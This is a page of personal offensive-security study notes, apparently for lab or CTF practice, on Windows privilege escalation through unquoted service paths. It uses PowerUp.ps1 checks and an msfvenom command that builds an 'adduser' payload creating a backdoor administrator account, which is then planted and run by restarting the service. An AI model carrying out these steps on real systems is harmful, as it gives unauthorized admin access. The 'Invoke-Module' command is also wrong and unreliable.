💻
my_offsec_notes
  • Intro
  • Enumeration
    • Network Discovery
      • Arp
      • NetDiscover
      • TCPDump
    • DNS Enumeration
      • Find E-mail Addresses
      • Zone Transfer
    • Scanning
      • Nmap
        • FlaconSpy.py
        • NSE
      • AutoRecon
      • onetwopunch.sh
      • nc
      • Nikto Scan
      • Banner Grabbing
    • brute forcing the web
    • my recon cheat-sheet
      • Comman
    • Passive Enum
  • Starting web services
  • âš“Common Ports
    • TCP
      • Samba
        • Enumerating
        • Accessing
      • LDap
      • Domain (53)
      • NFS
      • MSRPC (135)
      • SMTP
      • MSRPC
      • FTP
        • BRUTE FORCING
      • KERBEROS (88)
      • POP3
      • RPC-BIND
      • SQL
        • MYSQL
          • My-SQL Root Access
          • Access
        • MS-SQL
          • Access
      • HTTP/HTTPS
        • WEB TECHNOLOGY
          • WORD-PRESS
          • DRUPAL
          • JOOMLA
          • WebDav
          • JENKINS
          • FLASK
          • PHP
          • J-BOSS
        • DIRECTORY/FILES FUZZING
        • LOGIN PAGE
        • TOMCAT
      • ORACLE (1521)
      • SSH
      • RDP (3389)
      • Redis
      • Rsync
      • Netbios (137)
      • Memcached (11211)
      • SSL (443)
      • Finger (79)
      • RPC (1024 to 5000)
    • ALL-ROUNDER
    • UDP
      • SNMP (161)
      • TFTP
  • PORT KNOCKING
  • ENUMERATING USERS
    • ENUM HASHES
  • Exploitation
    • Web Site Exploitation Vectors
      • LFI
        • Config Files
          • Linux
          • Windows
        • Some Useful
      • RFI
      • XXE
      • XSS
      • SQLi
        • NoSQL-Map
        • SQL-Map
      • SSTI
    • Accessing Target Machine
      • Windows
      • Linux
    • Exploits
  • Buffer Overflow
    • useful commands
    • Buffer Overflow Prep ("THM")
  • Creating Reverse Shells
    • Online Resources
    • Windows
    • Linux
    • Mac
    • Gifts for Web Pages
      • Scripting Languages
    • Common One liners
  • Active Directory
    • Enumeration
    • my A.D. Cheat-Sheet
    • After Getting D.C.
  • Priv-Esc
    • Windows
      • whoami /privs
      • Writable Service Executable
      • Cheat sheet
      • Unquoted Service Path
    • Linux
      • Cheat sheet
      • Cronjob
      • Docker (Group)
        • Docker GTFO
      • LXD (Group)
      • sudo+LD_PRELOAD
      • Mysql
        • MySQL (root access)
      • sudo<1.8.28
  • Break-Out Commands
    • Jailed SSH
    • Spawn a Bash shell for me
  • Password Attacks
  • PORT FORWARDING / TUNNELING
  • Post Exploitation
    • injecting Backdoors
  • Machines
    • Template
    • Hack The Box
      • Late
    • Try Hack Me
    • P.G. Grounds
    • Vuln-Hub
Powered by GitBook
On this page
  1. Priv-Esc
  2. Windows

Unquoted Service Path

// click on start Button --> serach for services --> open the application.

// here all the running services are listed --> find your vulnerable service.

// Double Click The Service and Examine the Path :



C:\some path\some path2\vulnservice.exe
here note the space btw the folders --> "some   path" this is a single folder but the bloody space made it vulnerable 
 now we can use it in unintended way.
 
 but if any part of the path is writable by us....
 
 to identify :
 use https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
 or do it mannually.
 
 
 
 Now to run this transfer this to windows and open powershell ;
 >>> Invoke-Module .\PowerUp.ps1
 >>> Invoke-AllChecks # but if we want only want to check for unquoted path run -->  Get-UnquotedService
 
 Now notice the unquoted service path.
 
 
 
 Go To Kali :
 >>> msfvenom -p windows/adduser USER=backdoor_admin PASS=helloguys! -f exe  > service.exe
 
 now transfer this payload to windows and place it as we disscussed above .
 E.G. C:\Program Files\  --> C:\Program.exe Files\
 Note : Don't forget to rename your payload as per your path.
 
 
 now go to services (from start button ) and restart the service again ....don't worry if you don't have permission to do it ....so go and reboot the machine so it will be executed automatically
 
 after restarting / rebooting :
  open cmd :
  >>> net user 
  <you will have your user created>
  
  
 
   so just logout and login again with new user(high privs)
   note : while login may be you need to specify your username : Win10-1\<username>
   
   
   

PreviousCheat sheetNextLinux

Last updated 2 years ago